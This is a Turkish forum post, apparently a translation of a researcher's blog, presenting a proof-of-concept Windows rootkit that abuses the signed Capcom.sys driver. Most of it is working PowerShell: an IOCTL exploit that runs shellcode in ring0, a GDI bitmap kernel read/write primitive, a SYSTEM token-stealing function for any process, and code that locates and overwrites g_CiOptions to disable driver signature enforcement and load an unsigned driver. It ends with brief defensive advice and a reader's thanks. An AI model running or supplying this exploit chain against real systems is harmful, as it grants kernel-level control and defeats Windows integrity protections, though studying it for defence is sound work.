Windows Hacking Serisi #8 | Capcom Rootkit Kavram Kanıtı

PuaL

Forum Üyesi
Katılım
19 Nisan 2020
Mesajlar
616
Tepkime puanı
0
Capcom Rootkit Kavram Kanıtı

Selam ve hoşgeldin!

Geçenlerde Derusbi kötü amaçlı yazılımıyla ilgili bir makale okuyordum.

Gönderinin odak noktası, kötü amaçlı yazılım yazarları tarafından, sürücü imzalama gereksinimini geçici olarak devre dışı bırakan çekirdekteki bazı bitleri çevirmek için imzalı bir Novell sürücüsündeki bir güvenlik açığından (CVE-2013-3956) yararlanan bir teknikti.

Derusbi devre dışı bırakıldıktan sonra bir NDIS sürücüsü yükledi, muhtemelen bu, ham paketlerin şeffaf bir şekilde koklanmasına ve iletilmesine izin verdi (ayrıntılara bakmadım).

Her neyse, aynı temel işlevselliğe sahip bir POC’yi bir araya getirmenin ne kadar zor olacağını merak ediyordum (ortaya çıktığı kadar zor değil!).

Saldırganın senaryosunu tam olarak simüle etmek için, ilk olarak 23 Eylül 2016’da @ TheWack0lian tarafından açıklanan Capcom.sys adlı imzalı bir sürücüdeki bir güvenlik açığını kullanmaya karar verdim. Bu kadar saçma, hadi başlayalım!

Sürücü Güvenlik Açığı

Bu yazının temel amacı sürücü hatasını analiz etmek değil.

Sömürü sürecinin daha iyi bir resmini elde etmek için @ TheColonial en mükemmel izlenecek yollara bir göz atmanızı şiddetle tavsiye ederim.







Esasen, sürücü ring0 kod yürütmesini bir hizmet olarak sağlar!

Tek işlevi, bir kullanıcı-yer işaretçisi almak, SMEP’i devre dışı bırakmak, işaretçi adresinde kodu yürütmek ve SMEP’i yeniden etkinleştirmektir.

Sorun teşkil eden işlevin demontajı aşağıda görülebilir.



Aşağıdaki powershell POC, bu sorunun pratik olarak nasıl kullanılabileceğini göstermektedir.

Kod:
# Some tricks here
# => cmp [rax-8], rcx
echo "`n[>] Allocating Capcom payload.."
[IntPtr]$Pointer = [CapCom]::VirtualAlloc([System.IntPtr]::Zero, (8 + $Shellcode.Length), 0x3000, 0x40)
$ExploitBuffer = [System.BitConverter]::GetBytes($Pointer.ToInt64()+8) + $Shellcode
[System.Runtime.InteropServices.Marshal]::Copy($ExploitBuffer, 0, $Pointer, (8 + $Shellcode.Length))
echo "[+] Payload size: $(8 + $Shellcode.Length)"
echo "[+] Payload address: $("{0:X}" -f $Pointer.ToInt64())"

$hDevice = [CapCom]::CreateFile("\\.\Htsysm72FB", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\Htsysm72FB"
echo "[+] Handle: $hDevice"
}

# IOCTL = 0xAA013044
#---
$InBuff = [System.BitConverter]::GetBytes($Pointer.ToInt64()+8)
$OutBuff = 0x1234
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($InBuff.Length)"
echo "[+] IOCTL: 0xAA013044"
[CapCom]::DeviceIoControl($hDevice, 0xAA013044, $InBuff, $InBuff.Length, [ref]$OutBuff, 4, [ref]0, [System.IntPtr]::Zero) |Out-null
With the ability to execute arbitrary shellcode, I chose to stage a GDI bitmap primitive which would give me persistent read/write in the kernel without needing to call the driver over and over again. To create the bitmaps I used Stage-gSharedInfoBitmap and set up the shellcode in the following manner.

?
# Leak BitMap pointers
echo "`n[>] gSharedInfo bitmap leak.."
$Manager = Stage-gSharedInfoBitmap
$Worker = Stage-gSharedInfoBitmap
echo "[+] Manager bitmap Kernel address: 0x$("{0:X16}" -f $($Manager.BitmapKernelObj))"
echo "[+] Worker bitmap Kernel address: 0x$("{0:X16}" -f $($Worker.BitmapKernelObj))"

# Shellcode buffer
[Byte[]] $Shellcode = @(
0x48, 0xB8) + [System.BitConverter]::GetBytes($Manager.BitmappvScan0) + @( # mov rax,$Manager.BitmappvScan0
0x48, 0xB9) + [System.BitConverter]::GetBytes($Worker.BitmappvScan0) + @( # mov rcx,$Manager.BitmappvScan0
0x48, 0x89, 0x08, # mov qword ptr [rax],rcx
0xC3 # ret
)
Bu teknikle ilgili daha fazla ayrıntı, @mwrlabs için yazdığım Bitmaps Hikayesi:

Sızdıran GDI Nesneleri Post Windows 10. Yıldönümü Sürümü ve Windows istismar geliştirme eğitim serimin 17. Bölümünde bulunabilir.

Rootkit İşlevselliği

Artık çekirdekte rastgele okuma / yazma var, rootkit işlevselliğimiz üzerinde çalışmaya başlayabiliriz.

İki farklı özelliğe odaklanmaya karar verdim: (1) Keyfi PID’leri SYSTEM’e yükseltme ve (2) işaretsiz kodu çekirdeğe yüklemek için çalışma zamanında sürücü imzalama uygulamasını devre dışı bırakma.

Keyfi Süreç Yükseltme

Yüksek düzeyde EPROCESS yapılarının bağlantılı listesinden geçmemiz, SYSTEM EPROCESS belirteç alanını kopyalamamız ve bu değeri hedef EPROCESS yapısının belirteç alanının üzerine yazmak için kullanmamız gerekir.

Elimizde herhangi bir güvenlik açığı olmadan, kullanıcı alanından Sistem (PID 4) EPROCESS girişine bir işaretçi sızdırabiliriz.




şu anda yüklü olan NT çekirdeğinin temel adresini sızdırmak için

“SystemModuleInformation” kullanımının, Windows 8.1’den beri yalnızca orta düzeyde bir bütünlük süreciyle çalıştığına dikkat edilmelidir.

Get-LoadedModules kullanarak bu işlemi powershell’de kolayca uygulayabilir ve sonuçlarımızı KD’de doğrulayabiliriz






Harika, bu yüzden System EPROCESS yapısına bir işaretçi bulmanın bir yolunu bulduk ve bitmap ilkelimizi kullanarak bu işlemle ilişkili SYSTEM belirtecini kolayca okuyabiliriz.

Yapmamız gereken son şey, yükseltmek istediğimiz PID ile ilişkili EPROCESS yapısını bulmak için “ActiveProcessLinks” bağlantılı listeden geçmektir.



Bu bağlantılı listenin x64 Win10 ofsetleri kullanılarak bir temsili aşağıda gösterilmektedir.

Bu bağlantılı liste açıkça her iki tarafta da genişliyor ve kendi etrafında dönüyor.

Basit bir ifadeyle, mevcut EPROCESS yapısının PID’sini okumak için bitmap ilkelimizi kullanacağız, hedeflediğimiz PID ile eşleşirse işlem belirtecinin üzerine yazacağız, eşleşmiyorsa bir sonraki EPROCESS yapısının adresini okuyoruz “ActiveProcessLinks-> Flink” içinden tekrar deneyin.

EPROCESS yapısı opaktır (belgelenmemiş için MSFT argo) ve Windows işletim sisteminin sürümleri arasında değişir, ancak bununla ilgilenmek için statik ofsetlerin bir listesini tutabiliriz!

@Rwfpl tarafından Terminus Projesine bir göz atmanızı şiddetle tavsiye ederim. Aşağıdaki powershell işlevi bu simge çalma mantığını uygular.

Kod:
function Capcom-ElevatePID {
param ([Int]$ProcPID)

# Check our bitmaps have been staged into memory
if (!$ManagerBitmap -Or !$WorkerBitmap) {
Capcom-StageGDI
if ($DriverNotLoaded -eq $true) {
Return
}
}

# Defaults to elevating Powershell
if (!$ProcPID) {
$ProcPID = $PID
}

# Make sure the pid exists!
# 0 is also invalid but will default to $PID
$IsValidProc = ((Get-Process).Id).Contains($ProcPID)
if (!$IsValidProc) {
Write-Output "`n[!] Invalid process specified!`n"
Return
}

# _EPROCESS UniqueProcessId/Token/ActiveProcessLinks offsets based on OS
# WARNING offsets are invalid for Pre-RTM images!
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
switch ($OSMajorMinor)
{
'10.0' # Win10 / 2k16
{
$UniqueProcessIdOffset = 0x2e8
$TokenOffset = 0x358
$ActiveProcessLinks = 0x2f0
}

'6.3' # Win8.1 / 2k12R2
{
$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
}

'6.2' # Win8 / 2k12
{
$UniqueProcessIdOffset = 0x2e0
$TokenOffset = 0x348
$ActiveProcessLinks = 0x2e8
}

'6.1' # Win7 / 2k8R2
{
$UniqueProcessIdOffset = 0x180
$TokenOffset = 0x208
$ActiveProcessLinks = 0x188
}
}

# Get EPROCESS entry for System process
$SystemModuleArray = Get-LoadedModules
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [Capcom]::LoadLibrary("$KernelType")
$PsInitialSystemProcess = [Capcom]::GetProcAddress($KernelHanle, "PsInitialSystemProcess")
$SysEprocessPtr = $PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase
$CallResult = [Capcom]::FreeLibrary($KernelHanle)
$SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr
$SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)
Write-Output "`n[+] SYSTEM Token: 0x$("{0:X}" -f $SysToken)"

# Get EPROCESS entry for PID
$NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
while($true) {
$NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)
if ($NextPID -eq $ProcPID) {
$TargetTokenAddr = $NextProcess+$TokenOffset
Write-Output "[+] Found PID: $NextPID"
Write-Output "[+] PID token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))"
break
}
$NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size
}

# Duplicate token!
Write-Output "[!] Duplicating SYSTEM token!`n"
Bitmap-Write -Address $TargetTokenAddr -Value $SysToken
}


Sürücü İmza İcra Bypass

Bu yazıda önerilen okumaların uzun listesine ek olarak, burada @ j00ru sürücü imza uygulamasına ilişkin yazıma göz atmanızı öneririm.

Görünüşe göre Windows’ta kod bütünlüğü tek bir ikili dosya, ci.dll (=>% WINDIR% \ System32 \) tarafından yönetiliyor.

Windows 8’den önce, CI küresel bir mantıksal değişken olan g_CiEnabled’ı dışa aktarır, bu oldukça açıklayıcıdır ya imzalama etkinleştirilmiştir ya da devre dışı bırakılmıştır.

Windows 8+ g_CiEnabled, bayrakların bir kombinasyonu olan başka bir genel değişken olan g_CiOptions ile değiştirilmiştir (en önemlisi 0x0 = devre dışı, 0x6 = etkin, 0x8 = Test Modu).

Boş zaman kısıtlamaları nedeniyle bu modül yalnızca g_CiOptions kullanan Win8 + kurulumlarını hedefleyecektir. Ancak, benzer bir metodoloji g_CiEnabled’a uygulanabilir (GitHub çekme istekleri kabul edilir!).

Temel olarak, Derusbi kötü amaçlı yazılım yazarlarıyla aynı tekniği kullanacağız.

G_CiOptions dışa aktarılmadığından, değere yama uygularken bazı dinamik hesaplamalar yapmamız gerekir.

CI! CiInitialize’ın derlemesini çözersek, g_CiOptions’a bir işaretçi sızdırdığını görebiliriz.



Daha önce yaptığımıza benzer şekilde, kullanıcı alanından CI! CiInitialize adresini herhangi bir güvenlik açığı olmadan sızdırabiliriz!



Buradan, ilk “jmp” (0xE9) ve ardından ilk “mov dword prt [xxxxx], ecx” (0x890D) için bitmap ilkelimizi kullanarak baytları okumak için biraz mantık uygulamak yeterlidir.

G_CiOptions adresini aldığımızda, onu istediğimiz değere ayarlayabiliriz!

Aşağıdaki powershell işlevi arama mantığını uygular.

Kod:
function Capcom-DriverSigning {
param ([Int]$SetValue)

# Check our bitmaps have been staged into memory
if (!$ManagerBitmap -Or !$WorkerBitmap) {
Capcom-StageGDI
if ($DriverNotLoaded -eq $true) {
Return
}
}

# Leak CI base => $SystemModuleCI.ImageBase
$SystemModuleCI = Get-LoadedModules |Where-Object {$_.ImageName -Like "*CI.dll"}

# We need DONT_RESOLVE_DLL_REFERENCES for CI LoadLibraryEx
$CIHanle = [Capcom]::LoadLibraryEx("ci.dll", [IntPtr]::Zero, 0x1)
$CiInitialize = [Capcom]::GetProcAddress($CIHanle, "CiInitialize")

# Calculate => CI!CiInitialize
$CiInitializePtr = $CiInitialize.ToInt64() - $CIHanle + $SystemModuleCI.ImageBase
Write-Output "`n[+] CI!CiInitialize: $('{0:X}' -f $CiInitializePtr)"

# Free CI handle
$CallResult = [Capcom]::FreeLibrary($CIHanle)

# Calculate => CipInitialize
# jmp CI!CipInitialize
for ($i=0;$i -lt 500;$i++) {
$val = ("{0:X}" -f $(Bitmap-Read -Address $($CiInitializePtr + $i))) -split '(..)' | ? { $_ }
# Look for the first jmp instruction
if ($val[-1] -eq "E9") {
$Distance = [Int]"0x$(($val[-3,-2]) -join '')"
$CipInitialize = $Distance + 5 + $CiInitializePtr + $i
Write-Output "[+] CI!CipInitialize: $('{0:X}' -f $CipInitialize)"
break
}
}

# Calculate => g_CiOptions
# mov dword ptr [CI!g_CiOptions],ecx
for ($i=0;$i -lt 500;$i++) {
$val = ("{0:X}" -f $(Bitmap-Read -Address $($CipInitialize + $i))) -split '(..)' | ? { $_ }
# Look for the first jmp instruction
if ($val[-1] -eq "89" -And $val[-2] -eq "0D") {
$Distance = [Int]"0x$(($val[-6..-3]) -join '')"
$g_CiOptions = $Distance + 6 + $CipInitialize + $i
Write-Output "[+] CI!g_CiOptions: $('{0:X}' -f $g_CiOptions)"
break
}
}

# print g_CiOptions
Write-Output "[+] Current CiOptions Value: $('{0:X}' -f $(Bitmap-Read -Address $g_CiOptions))`n"

if ($SetValue) {
Bitmap-Write -Address $g_CiOptions -Value $SetValue
# print new g_CiOptions
Write-Output "[!] New CiOptions Value: $('{0:X}' -f $(Bitmap-Read -Address $g_CiOptions))`n"
}
}
Dava hemen hemen kapandı! Aşağıdaki ekran görüntüsü, mevcut g_CiOptions değerinin 0x6 olduğunu (= Sürücü imzalama etkin) ve “evil.sys” dosyasını yüklememizin engellendiğini gösteriyor.



Değerin üzerine yazdıktan sonra, imzasız sürücümüzü başarıyla yükleyebiliriz!



Biraz komik olan kısım, g_CiOptions’ın PatchGuard tarafından korunmasıdır;

bu, değerin değiştiğini fark ederse Windows’un mavi ekran (=> CRITICAL_STRUCTURE_CORRUPTION) yapacağı anlamına gelir.

Ancak test sırasında bunun gerçekleşmesi pek olası değil, PatchGuard’ın devreye girmesi için bir saatten fazla beklemek zorunda kaldım.

İmzasız sürücüyü yüklerseniz ve orijinal değeri geri yüklerseniz PatchGuard akıllıca olmayacaktır!

Derinlemesine savunma önerim, bir saldırganın sürücüyü yansıtarak bir sürücüyü yüklemesini engellemezken, kesinlikle çıtayı yükseltecektir.

Son düşüncelerim

Üçüncü taraf, imzalı sürücüler, bu örneğin gösterdiğinden emin olduğum gibi Windows Çekirdeğinin bütünlüğüne ciddi bir tehdit oluşturmaktadır.

Ayrıca, özellikle PatchGuard zaman gecikmesi ile basit çekirdek yıkımını beklenenden daha kolay buldum.

Genel olarak, kuruluşların bu tür saldırı zincirini esasen ortadan kaldırmak için bir sürücü beyaz listesiyle aygıt korumasını dağıtması gerektiğini düşünüyorum.


Source:
Translator: @
 

Nutella

Harbi Üye
Bayan Üye
Özel Üye
Katılım
2 Ocak 2021
Mesajlar
9,432
Tepkime puanı
8
Cinsiyet
  1. Bayan
Takım
Galatasaray
Paylaşım için teşekkürler.
 
İçerik sağlayıcı "paylaşım" sitelerinden biri olan Harbimekan.Com Forum, Eğlence ve Güncel Paylaşım Platformu Adresimizde 5651 Sayılı Kanun’un 8. Maddesine ve T.C.K’nın 125. Maddesine göre TÜM ÜYELERİMİZ yaptıkları paylaşımlardan sorumludur. Harbimekan.Com sitesindeki konular yada mesajlar hakkında yapılacak tüm hukuksal Şikayetler için info@harbimekan.com yada iletişim sayfası üzerinden iletişime geçilmesi halinde ilgili kanunlar ve yönetmelikler çerçevesinde en geç 3 Gün (72 Saat) içerisinde Forum yönetimi olarak tarafımızdan gereken işlemler yapılacaktır.

Bu Site, Bilim ve Sağlık Haber Ajansı Üyesidir.

Yığıntı - 8kez - kaynak mağazam - Uğur Ağdaş